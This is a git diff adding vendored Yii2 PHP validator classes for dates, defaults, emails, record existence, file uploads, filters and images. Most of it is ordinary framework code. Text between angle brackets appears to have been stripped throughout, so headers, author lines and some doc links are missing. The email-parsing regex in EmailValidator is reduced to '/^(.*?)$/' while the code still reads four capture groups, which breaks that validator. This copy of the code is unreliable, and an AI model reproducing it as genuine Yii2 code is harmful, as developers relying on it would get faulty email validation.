$compareAttribute); + } + + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + $options['message'] = Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + 'compareAttribute' => $compareValue, + 'compareValue' => $compareValue, + ], Yii::$app->language); + + ValidationAsset::register($view); + + return 'yii.validation.compare(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/DateValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/DateValidator.php new file mode 100644 index 00000000..42767fde --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/DateValidator.php @@ -0,0 +1,151 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +class DateValidator extends Validator +{ + /** + * @var string the date format that the value being validated should follow. + * This can be a date time pattern as described in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax). + * + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the PHP Datetime class. + * Please refer to on supported formats. + * + * If this property is not set, the default value will be obtained from `Yii::$app->formatter->dateFormat`, see [[\yii\i18n\Formatter::dateFormat]] for details. + * + * Here are some example values: + * + * ```php + * 'MM/dd/yyyy' // date in ICU format + * 'php:m/d/Y' // the same date in PHP format + * ``` + */ + public $format; + /** + * @var string the locale ID that is used to localize the date parsing. + * This is only effective when the [PHP intl extension](http://php.net/manual/en/book.intl.php) is installed. + * If not set, the locale of the [[\yii\base\Application::formatter|formatter]] will be used. + * See also [[\yii\i18n\Formatter::locale]]. + */ + public $locale; + /** + * @var string the timezone to use for parsing date and time values. + * This can be any value that may be passed to [date_default_timezone_set()](http://www.php.net/manual/en/function.date-default-timezone-set.php) + * e.g. `UTC`, `Europe/Berlin` or `America/Chicago`. + * Refer to the [php manual](http://www.php.net/manual/en/timezones.php) for available timezones. + * If this property is not set, [[\yii\base\Application::timeZone]] will be used. + */ + public $timeZone; + /** + * @var string the name of the attribute to receive the parsing result. + * When this property is not null and the validation is successful, the named attribute will + * receive the parsing result. + */ + public $timestampAttribute; + + /** + * @var array map of short format names to IntlDateFormatter constant values. + */ + private $_dateFormats = [ + 'short' => 3, // IntlDateFormatter::SHORT, + 'medium' => 2, // IntlDateFormatter::MEDIUM, + 'long' => 1, // IntlDateFormatter::LONG, + 'full' => 0, // IntlDateFormatter::FULL, + ]; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', 'The format of {attribute} is invalid.'); + } + if ($this->format === null) { + $this->format = Yii::$app->formatter->dateFormat; + } + if ($this->locale === null) { + $this->locale = Yii::$app->language; + } + if ($this->timeZone === null) { + $this->timeZone = Yii::$app->timeZone; + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + $timestamp = $this->parseDateValue($value); + if ($timestamp === false) { + $this->addError($object, $attribute, $this->message, []); + } elseif ($this->timestampAttribute !== null) { + $object->{$this->timestampAttribute} = $timestamp; + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + return $this->parseDateValue($value) === false ? [$this->message, []] : null; + } + + protected function parseDateValue($value) + { + if (is_array($value)) { + return false; + } + $format = $this->format; + if (strncmp($this->format, 'php:', 4) === 0) { + $format = substr($format, 4); + } else { + if (extension_loaded('intl')) { + if (isset($this->_dateFormats[$format])) { + $formatter = new IntlDateFormatter($this->locale, $this->_dateFormats[$format], IntlDateFormatter::NONE, $this->timeZone); + } else { + $formatter = new IntlDateFormatter($this->locale, IntlDateFormatter::NONE, IntlDateFormatter::NONE, $this->timeZone, null, $format); + } + // enable strict parsing to avoid getting invalid date values + $formatter->setLenient(false); + return $formatter->parse($value); + } else { + // fallback to PHP if intl is not installed + $format = FormatConverter::convertDateIcuToPhp($format, 'date'); + } + } + $date = DateTime::createFromFormat($format, $value, new \DateTimeZone($this->timeZone)); + $errors = DateTime::getLastErrors(); + if ($date === false || $errors['error_count'] || $errors['warning_count']) { + return false; + } else { + // if no time was provided in the format string set time to 0 to get a simple date timestamp + if (strpbrk($format, 'HhGgis') === false) { + $date->setTime(0, 0, 0); + } + return $date->getTimestamp(); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/DefaultValueValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/DefaultValueValidator.php new file mode 100644 index 00000000..0d803111 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/DefaultValueValidator.php @@ -0,0 +1,54 @@ + + * @since 2.0 + */ +class DefaultValueValidator extends Validator +{ + /** + * @var mixed the default value or a PHP callable that returns the default value which will + * be assigned to the attributes being validated if they are empty. The signature of the PHP callable + * should be as follows, + * + * ```php + * function foo($model, $attribute) { + * // compute value + * return $value; + * } + * ``` + */ + public $value; + /** + * @var boolean this property is overwritten to be false so that this validator will + * be applied when the value being validated is empty. + */ + public $skipOnEmpty = false; + + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + if ($this->isEmpty($object->$attribute)) { + if ($this->value instanceof \Closure) { + $object->$attribute = call_user_func($this->value, $object, $attribute); + } else { + $object->$attribute = $this->value; + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/EmailValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/EmailValidator.php new file mode 100644 index 00000000..ee8c77ef --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/EmailValidator.php @@ -0,0 +1,117 @@ + + * @since 2.0 + */ +class EmailValidator extends Validator +{ + /** + * @var string the regular expression used to validate the attribute value. + * @see http://www.regular-expressions.info/email.html + */ + public $pattern = '/^[a-zA-Z0-9!#$%&\'*+\\/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&\'*+\\/=?^_`{|}~-]+)*@(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$/'; + /** + * @var string the regular expression used to validate email addresses with the name part. + * This property is used only when [[allowName]] is true. + * @see allowName + */ + public $fullPattern = '/^[^@]*<[a-zA-Z0-9!#$%&\'*+\\/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&\'*+\\/=?^_`{|}~-]+)*@(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?>$/'; + /** + * @var boolean whether to allow name in the email address (e.g. "John Smith "). Defaults to false. + * @see fullPattern + */ + public $allowName = false; + /** + * @var boolean whether to check whether the email's domain exists and has either an A or MX record. + * Be aware that this check can fail due to temporary DNS problems even if the email address is + * valid and an email would be deliverable. Defaults to false. + */ + public $checkDNS = false; + /** + * @var boolean whether validation process should take into account IDN (internationalized domain + * names). Defaults to false meaning that validation of emails containing IDN will always fail. + * Note that in order to use IDN validation you have to install and enable `intl` PHP extension, + * otherwise an exception would be thrown. + */ + public $enableIDN = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->enableIDN && !function_exists('idn_to_ascii')) { + throw new InvalidConfigException('In order to use IDN validation intl extension must be installed and enabled.'); + } + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} is not a valid email address.'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + // make sure string length is limited to avoid DOS attacks + if (!is_string($value) || strlen($value) >= 320) { + $valid = false; + } elseif (!preg_match('/^(.*?)$/', $value, $matches)) { + $valid = false; + } else { + $domain = $matches[3]; + if ($this->enableIDN) { + $value = $matches[1] . idn_to_ascii($matches[2]) . '@' . idn_to_ascii($domain) . $matches[4]; + } + $valid = preg_match($this->pattern, $value) || $this->allowName && preg_match($this->fullPattern, $value); + if ($valid && $this->checkDNS) { + $valid = checkdnsrr($domain, 'MX') || checkdnsrr($domain, 'A'); + } + } + + return $valid ? null : [$this->message, []]; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $options = [ + 'pattern' => new JsExpression($this->pattern), + 'fullPattern' => new JsExpression($this->fullPattern), + 'allowName' => $this->allowName, + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language), + 'enableIDN' => (boolean) $this->enableIDN, + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + ValidationAsset::register($view); + if ($this->enableIDN) { + PunycodeAsset::register($view); + } + + return 'yii.validation.email(value, messages, ' . Json::encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/ExistValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/ExistValidator.php new file mode 100644 index 00000000..20236f00 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/ExistValidator.php @@ -0,0 +1,164 @@ + 'a2'] + * // a1 and a2 need to exist together, and they both will receive error message + * [['a1', 'a2'], 'exist', 'targetAttribute' => ['a1', 'a2']] + * // a1 and a2 need to exist together, only a1 will receive error message + * ['a1', 'exist', 'targetAttribute' => ['a1', 'a2']] + * // a1 needs to exist by checking the existence of both a2 and a3 (using a1 value) + * ['a1', 'exist', 'targetAttribute' => ['a2', 'a1' => 'a3']] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class ExistValidator extends Validator +{ + /** + * @var string the name of the ActiveRecord class that should be used to validate the existence + * of the current attribute value. It not set, it will use the ActiveRecord class of the attribute being validated. + * @see targetAttribute + */ + public $targetClass; + /** + * @var string|array the name of the ActiveRecord attribute that should be used to + * validate the existence of the current attribute value. If not set, it will use the name + * of the attribute currently being validated. You may use an array to validate the existence + * of multiple columns at the same time. The array values are the attributes that will be + * used to validate the existence, while the array keys are the attributes whose values are to be validated. + * If the key and the value are the same, you can just specify the value. + */ + public $targetAttribute; + /** + * @var string|array|\Closure additional filter to be applied to the DB query used to check the existence of the attribute value. + * This can be a string or an array representing the additional query condition (refer to [[\yii\db\Query::where()]] + * on the format of query condition), or an anonymous function with the signature `function ($query)`, where `$query` + * is the [[\yii\db\Query|Query]] object that you can modify in the function. + */ + public $filter; + /** + * @var boolean whether to allow array type attribute. + */ + public $allowArray = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} is invalid.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $targetAttribute = $this->targetAttribute === null ? $attribute : $this->targetAttribute; + + if (is_array($targetAttribute)) { + if ($this->allowArray) { + throw new InvalidConfigException('The "targetAttribute" property must be configured as a string.'); + } + $params = []; + foreach ($targetAttribute as $k => $v) { + $params[$v] = is_integer($k) ? $object->$v : $object->$k; + } + } else { + $params = [$targetAttribute => $object->$attribute]; + } + + if (!$this->allowArray) { + foreach ($params as $value) { + if (is_array($value)) { + $this->addError($object, $attribute, Yii::t('yii', '{attribute} is invalid.')); + + return; + } + } + } + + $targetClass = $this->targetClass === null ? get_class($object) : $this->targetClass; + $query = $this->createQuery($targetClass, $params); + + if (is_array($object->$attribute)) { + if ($query->count("DISTINCT [[$targetAttribute]]") != count($object->$attribute)) { + $this->addError($object, $attribute, $this->message); + } + } elseif (!$query->exists()) { + $this->addError($object, $attribute, $this->message); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if ($this->targetClass === null) { + throw new InvalidConfigException('The "targetClass" property must be set.'); + } + if (!is_string($this->targetAttribute)) { + throw new InvalidConfigException('The "targetAttribute" property must be configured as a string.'); + } + + $query = $this->createQuery($this->targetClass, [$this->targetAttribute => $value]); + + if (is_array($value)) { + if (!$this->allowArray) { + return [$this->message, []]; + } + return $query->count("DISTINCT [[$this->targetAttribute]]") == count($value) ? null : [$this->message, []]; + } else { + return $query->exists() ? null : [$this->message, []]; + } + } + + /** + * Creates a query instance with the given condition. + * @param string $targetClass the target AR class + * @param mixed $condition query condition + * @return \yii\db\ActiveQueryInterface the query instance + */ + protected function createQuery($targetClass, $condition) + { + /* @var $targetClass \yii\db\ActiveRecordInterface */ + $query = $targetClass::find()->andWhere($condition); + if ($this->filter instanceof \Closure) { + call_user_func($this->filter, $query); + } elseif ($this->filter !== null) { + $query->andWhere($this->filter); + } + + return $query; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/FileValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/FileValidator.php new file mode 100644 index 00000000..1dc536c0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/FileValidator.php @@ -0,0 +1,411 @@ + + * @since 2.0 + */ +class FileValidator extends Validator +{ + /** + * @var array|string a list of file name extensions that are allowed to be uploaded. + * This can be either an array or a string consisting of file extension names + * separated by space or comma (e.g. "gif, jpg"). + * Extension names are case-insensitive. Defaults to null, meaning all file name + * extensions are allowed. + * @see wrongType + */ + public $extensions; + /** + * @var boolean whether to check file type (extension) with mime-type. If extension produced by + * file mime-type check differs from uploaded file extension, the file will be considered as invalid. + */ + public $checkExtensionByMimeType = true; + /** + * @var array|string a list of file MIME types that are allowed to be uploaded. + * This can be either an array or a string consisting of file MIME types + * separated by space or comma (e.g. "text/plain, image/png"). + * Mime type names are case-insensitive. Defaults to null, meaning all MIME types + * are allowed. + * @see wrongMimeType + */ + public $mimeTypes; + /** + * @var integer the minimum number of bytes required for the uploaded file. + * Defaults to null, meaning no limit. + * @see tooSmall + */ + public $minSize; + /** + * @var integer the maximum number of bytes required for the uploaded file. + * Defaults to null, meaning no limit. + * Note, the size limit is also affected by 'upload_max_filesize' INI setting + * and the 'MAX_FILE_SIZE' hidden field value. + * @see tooBig + */ + public $maxSize; + /** + * @var integer the maximum file count the given attribute can hold. + * It defaults to 1, meaning single file upload. By defining a higher number, + * multiple uploads become possible. + * @see tooMany + */ + public $maxFiles = 1; + /** + * @var string the error message used when a file is not uploaded correctly. + */ + public $message; + /** + * @var string the error message used when no file is uploaded. + * Note that this is the text of the validation error message. To make uploading files required, + * you have to set [[skipOnEmpty]] to `false`. + */ + public $uploadRequired; + /** + * @var string the error message used when the uploaded file is too large. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the maximum size allowed (see [[getSizeLimit()]]) + */ + public $tooBig; + /** + * @var string the error message used when the uploaded file is too small. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the value of [[minSize]] + */ + public $tooSmall; + /** + * @var string the error message used if the count of multiple uploads exceeds limit. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {limit}: the value of [[maxFiles]] + */ + public $tooMany; + /** + * @var string the error message used when the uploaded file has an extension name + * that is not listed in [[extensions]]. You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {extensions}: the list of the allowed extensions. + */ + public $wrongExtension; + /** + * @var string the error message used when the file has an mime type + * that is not listed in [[mimeTypes]]. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {mimeTypes}: the value of [[mimeTypes]] + */ + public $wrongMimeType; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', 'File upload failed.'); + } + if ($this->uploadRequired === null) { + $this->uploadRequired = Yii::t('yii', 'Please upload a file.'); + } + if ($this->tooMany === null) { + $this->tooMany = Yii::t('yii', 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.'); + } + if ($this->wrongExtension === null) { + $this->wrongExtension = Yii::t('yii', 'Only files with these extensions are allowed: {extensions}.'); + } + if ($this->tooBig === null) { + $this->tooBig = Yii::t('yii', 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.'); + } + if ($this->tooSmall === null) { + $this->tooSmall = Yii::t('yii', 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.'); + } + if (!is_array($this->extensions)) { + $this->extensions = preg_split('/[\s,]+/', strtolower($this->extensions), -1, PREG_SPLIT_NO_EMPTY); + } else { + $this->extensions = array_map('strtolower', $this->extensions); + } + if ($this->wrongMimeType === null) { + $this->wrongMimeType = Yii::t('yii', 'Only files with these MIME types are allowed: {mimeTypes}.'); + } + if (!is_array($this->mimeTypes)) { + $this->mimeTypes = preg_split('/[\s,]+/', strtolower($this->mimeTypes), -1, PREG_SPLIT_NO_EMPTY); + } else { + $this->mimeTypes = array_map('strtolower', $this->mimeTypes); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + if ($this->maxFiles > 1) { + $files = $object->$attribute; + if (!is_array($files)) { + $this->addError($object, $attribute, $this->uploadRequired); + + return; + } + foreach ($files as $i => $file) { + if (!$file instanceof UploadedFile || $file->error == UPLOAD_ERR_NO_FILE) { + unset($files[$i]); + } + } + $object->$attribute = array_values($files); + if (empty($files)) { + $this->addError($object, $attribute, $this->uploadRequired); + } + if (count($files) > $this->maxFiles) { + $this->addError($object, $attribute, $this->tooMany, ['limit' => $this->maxFiles]); + } else { + foreach ($files as $file) { + $result = $this->validateValue($file); + if (!empty($result)) { + $this->addError($object, $attribute, $result[0], $result[1]); + } + } + } + } else { + $result = $this->validateValue($object->$attribute); + if (!empty($result)) { + $this->addError($object, $attribute, $result[0], $result[1]); + } + } + } + + /** + * @inheritdoc + */ + protected function validateValue($file) + { + if (!$file instanceof UploadedFile || $file->error == UPLOAD_ERR_NO_FILE) { + return [$this->uploadRequired, []]; + } + + switch ($file->error) { + case UPLOAD_ERR_OK: + if ($this->maxSize !== null && $file->size > $this->maxSize) { + return [$this->tooBig, ['file' => $file->name, 'limit' => $this->getSizeLimit()]]; + } elseif ($this->minSize !== null && $file->size < $this->minSize) { + return [$this->tooSmall, ['file' => $file->name, 'limit' => $this->minSize]]; + } elseif (!empty($this->extensions) && !$this->validateExtension($file)) { + return [$this->wrongExtension, ['file' => $file->name, 'extensions' => implode(', ', $this->extensions)]]; + } elseif (!empty($this->mimeTypes) && !in_array(FileHelper::getMimeType($file->tempName), $this->mimeTypes, false)) { + return [$this->wrongMimeType, ['file' => $file->name, 'mimeTypes' => implode(', ', $this->mimeTypes)]]; + } else { + return null; + } + case UPLOAD_ERR_INI_SIZE: + case UPLOAD_ERR_FORM_SIZE: + return [$this->tooBig, ['file' => $file->name, 'limit' => $this->getSizeLimit()]]; + case UPLOAD_ERR_PARTIAL: + Yii::warning('File was only partially uploaded: ' . $file->name, __METHOD__); + break; + case UPLOAD_ERR_NO_TMP_DIR: + Yii::warning('Missing the temporary folder to store the uploaded file: ' . $file->name, __METHOD__); + break; + case UPLOAD_ERR_CANT_WRITE: + Yii::warning('Failed to write the uploaded file to disk: ' . $file->name, __METHOD__); + break; + case UPLOAD_ERR_EXTENSION: + Yii::warning('File upload was stopped by some PHP extension: ' . $file->name, __METHOD__); + break; + default: + break; + } + + return [$this->message, []]; + } + + /** + * Returns the maximum size allowed for uploaded files. + * This is determined based on three factors: + * + * - 'upload_max_filesize' in php.ini + * - 'MAX_FILE_SIZE' hidden field + * - [[maxSize]] + * + * @return integer the size limit for uploaded files. + */ + public function getSizeLimit() + { + $limit = $this->sizeToBytes(ini_get('upload_max_filesize')); + if ($this->maxSize !== null && $limit > 0 && $this->maxSize < $limit) { + $limit = $this->maxSize; + } + if (isset($_POST['MAX_FILE_SIZE']) && $_POST['MAX_FILE_SIZE'] > 0 && $_POST['MAX_FILE_SIZE'] < $limit) { + $limit = (int) $_POST['MAX_FILE_SIZE']; + } + + return $limit; + } + + /** + * @inheritdoc + */ + public function isEmpty($value, $trim = false) + { + $value = is_array($value) ? reset($value) : $value; + return !($value instanceof UploadedFile) || $value->error == UPLOAD_ERR_NO_FILE; + } + + /** + * Converts php.ini style size to bytes + * + * @param string $sizeStr $sizeStr + * @return int + */ + private function sizeToBytes($sizeStr) + { + switch (substr($sizeStr, -1)) { + case 'M': + case 'm': + return (int) $sizeStr * 1048576; + case 'K': + case 'k': + return (int) $sizeStr * 1024; + case 'G': + case 'g': + return (int) $sizeStr * 1073741824; + default: + return (int) $sizeStr; + } + } + + /** + * Checks if given uploaded file have correct type (extension) according current validator settings. + * @param UploadedFile $file + * @return boolean + */ + protected function validateExtension($file) + { + $extension = mb_strtolower($file->extension, 'utf-8'); + + if ($this->checkExtensionByMimeType) { + + $mimeType = FileHelper::getMimeType($file->tempName, null, false); + if ($mimeType === null) { + return false; + } + + $extensionsByMimeType = FileHelper::getExtensionsByMimeType($mimeType); + + if (!in_array($extension, $extensionsByMimeType, true)) { + return false; + } + } + + if (!in_array($extension, $this->extensions, true)) { + return false; + } + + return true; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + ValidationAsset::register($view); + $options = $this->getClientOptions($object, $attribute); + return 'yii.validation.file(attribute, messages, ' . json_encode($options) . ');'; + } + + /** + * Returns the client side validation options. + * @param \yii\base\Model $object the model being validated + * @param string $attribute the attribute name being validated + * @return array the client side validation options + */ + protected function getClientOptions($object, $attribute) + { + $label = $object->getAttributeLabel($attribute); + + $options = []; + if ($this->message !== null) { + $options['message'] = Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $label, + ], Yii::$app->language); + } + + $options['skipOnEmpty'] = $this->skipOnEmpty; + + if ( !$this->skipOnEmpty ) { + $options['uploadRequired'] = Yii::$app->getI18n()->format($this->uploadRequired, [ + 'attribute' => $label, + ], Yii::$app->language); + } + + if ( $this->mimeTypes !== null ) { + $options['mimeTypes'] = $this->mimeTypes; + $options['wrongMimeType'] = Yii::$app->getI18n()->format($this->wrongMimeType, [ + 'attribute' => $label, + 'mimeTypes' => join(', ', $this->mimeTypes) + ], Yii::$app->language); + } + + if ( $this->extensions !== null ) { + $options['extensions'] = $this->extensions; + $options['wrongExtension'] = Yii::$app->getI18n()->format($this->wrongExtension, [ + 'attribute' => $label, + 'extensions' => join(', ', $this->extensions) + ], Yii::$app->language); + } + + if ( $this->minSize !== null ) { + $options['minSize'] = $this->minSize; + $options['tooSmall'] = Yii::$app->getI18n()->format($this->tooSmall, [ + 'attribute' => $label, + 'limit' => $this->minSize + ], Yii::$app->language); + } + + if ( $this->maxSize !== null ) { + $options['maxSize'] = $this->maxSize; + $options['tooBig'] = Yii::$app->getI18n()->format($this->tooBig, [ + 'attribute' => $label, + 'limit' => $this->maxSize + ], Yii::$app->language); + } + + if ( $this->maxFiles !== null ) { + $options['maxFiles'] = $this->maxFiles; + $options['tooMany'] = Yii::$app->getI18n()->format($this->tooMany, [ + 'attribute' => $label, + 'limit' => $this->maxFiles + ], Yii::$app->language); + } + + return $options; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/FilterValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/FilterValidator.php new file mode 100644 index 00000000..edc171d0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/FilterValidator.php @@ -0,0 +1,75 @@ + + * @since 2.0 + */ +class FilterValidator extends Validator +{ + /** + * @var callable the filter. This can be a global function name, anonymous function, etc. + * The function signature must be as follows, + * + * ~~~ + * function foo($value) {...return $newValue; } + * ~~~ + */ + public $filter; + /** + * @var boolean whether the filter should be skipped if an array input is given. + * If false and an array input is given, the filter will not be applied. + */ + public $skipOnArray = false; + /** + * @var boolean this property is overwritten to be false so that this validator will + * be applied when the value being validated is empty. + */ + public $skipOnEmpty = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->filter === null) { + throw new InvalidConfigException('The "filter" property must be set.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + if (!$this->skipOnArray || !is_array($value)) { + $object->$attribute = call_user_func($this->filter, $value); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/ImageValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/ImageValidator.php new file mode 100644 index 00000000..8ce23b6f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/ImageValidator.php @@ -0,0 +1,221 @@ + + * @since 2.0 + */ +class ImageValidator extends FileValidator +{ + /** + * @var string the error message used when the uploaded file is not an image. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + */ + public $notImage; + /** + * @var integer the minimum width in pixels. + * Defaults to null, meaning no limit. + * @see underWidth + */ + public $minWidth; + /** + * @var integer the maximum width in pixels. + * Defaults to null, meaning no limit. + * @see overWidth + */ + public $maxWidth; + /** + * @var integer the minimum height in pixels. + * Defaults to null, meaning no limit. + * @see underHeight + */ + public $minHeight; + /** + * @var integer the maximum width in pixels. + * Defaults to null, meaning no limit. + * @see overWidth + */ + public $maxHeight; + /** + * @var string the error message used when the image is under [[minWidth]]. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the value of [[minWidth]] + */ + public $underWidth; + /** + * @var string the error message used when the image is over [[maxWidth]]. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the value of [[maxWidth]] + */ + public $overWidth; + /** + * @var string the error message used when the image is under [[minHeight]]. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the value of [[minHeight]] + */ + public $underHeight; + /** + * @var string the error message used when the image is over [[maxHeight]]. + * You may use the following tokens in the message: + * + * - {attribute}: the attribute name + * - {file}: the uploaded file name + * - {limit}: the value of [[maxHeight]] + */ + public $overHeight; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + + if ($this->notImage === null) { + $this->notImage = Yii::t('yii', 'The file "{file}" is not an image.'); + } + if ($this->underWidth === null) { + $this->underWidth = Yii::t('yii', 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.'); + } + if ($this->underHeight === null) { + $this->underHeight = Yii::t('yii', 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.'); + } + if ($this->overWidth === null) { + $this->overWidth = Yii::t('yii', 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.'); + } + if ($this->overHeight === null) { + $this->overHeight = Yii::t('yii', 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($file) + { + $result = parent::validateValue($file); + + return empty($result) ? $this->validateImage($file) : $result; + } + + /** + * Validates an image file. + * @param UploadedFile $image uploaded file passed to check against a set of rules + * @return array|null the error message and the parameters to be inserted into the error message. + * Null should be returned if the data is valid. + */ + protected function validateImage($image) + { + if (false === ($imageInfo = getimagesize($image->tempName))) { + return [$this->notImage, ['file' => $image->name]]; + } + + list($width, $height) = $imageInfo; + + if ($width == 0 || $height == 0) { + return [$this->notImage, ['file' => $image->name]]; + } + + if ($this->minWidth !== null && $width < $this->minWidth) { + return [$this->underWidth, ['file' => $image->name, 'limit' => $this->minWidth]]; + } + + if ($this->minHeight !== null && $height < $this->minHeight) { + return [$this->underHeight, ['file' => $image->name, 'limit' => $this->minHeight]]; + } + + if ($this->maxWidth !== null && $width > $this->maxWidth) { + return [$this->overWidth, ['file' => $image->name, 'limit' => $this->maxWidth]]; + } + + if ($this->maxHeight !== null && $height > $this->maxHeight) { + return [$this->overHeight, ['file' => $image->name, 'limit' => $this->maxHeight]]; + } + + return null; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + ValidationAsset::register($view); + $options = $this->getClientOptions($object, $attribute); + return 'yii.validation.image(attribute, messages, ' . json_encode($options) . ', deferred);'; + } + + /** + * @inheritdoc + */ + protected function getClientOptions($object, $attribute) + { + $options = parent::getClientOptions($object, $attribute); + + $label = $object->getAttributeLabel($attribute); + + if ($this->notImage !== null) { + $options['notImage'] = Yii::$app->getI18n()->format($this->notImage, [ + 'attribute' => $label + ], Yii::$app->language); + } + + if ($this->minWidth !== null) { + $options['minWidth'] = $this->minWidth; + $options['underWidth'] = Yii::$app->getI18n()->format($this->underWidth, [ + 'attribute' => $label, + 'limit' => $this->minWidth + ], Yii::$app->language); + } + + if ($this->maxWidth !== null) { + $options['maxWidth'] = $this->maxWidth; + $options['overWidth'] = Yii::$app->getI18n()->format($this->overWidth, [ + 'attribute' => $label, + 'limit' => $this->maxWidth + ], Yii::$app->language); + } + + if ($this->minHeight !== null) { + $options['minHeight'] = $this->minHeight; + $options['underHeight'] = Yii::$app->getI18n()->format($this->underHeight, [ + 'attribute' => $label, + 'limit' => $this->minHeight + ], Yii::$app->language); + } + + if ($this->maxHeight !== null) { + $options['maxHeight'] = $this->maxHeight; + $options['overHeight'] = Yii::$app->getI18n()->format($this->overHeight, [ + 'attribute' => $label, + 'limit' => $this->maxHeight + ], Yii::$app->language); + } + + return $options; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/InlineValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/InlineValidator.php new file mode 100644 index 00000000..0e5cd339 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/InlineValidator.php @@ -0,0 +1,86 @@ + + * @since 2.0 + */ +class InlineValidator extends Validator +{ + /** + * @var string|\Closure an anonymous function or the name of a model class method that will be + * called to perform the actual validation. The signature of the method should be like the following: + * + * ~~~ + * function foo($attribute, $params) + * ~~~ + */ + public $method; + /** + * @var array additional parameters that are passed to the validation method + */ + public $params; + /** + * @var string|\Closure an anonymous function or the name of a model class method that returns the client validation code. + * The signature of the method should be like the following: + * + * ~~~ + * function foo($attribute, $params) + * { + * return "javascript"; + * } + * ~~~ + * + * where 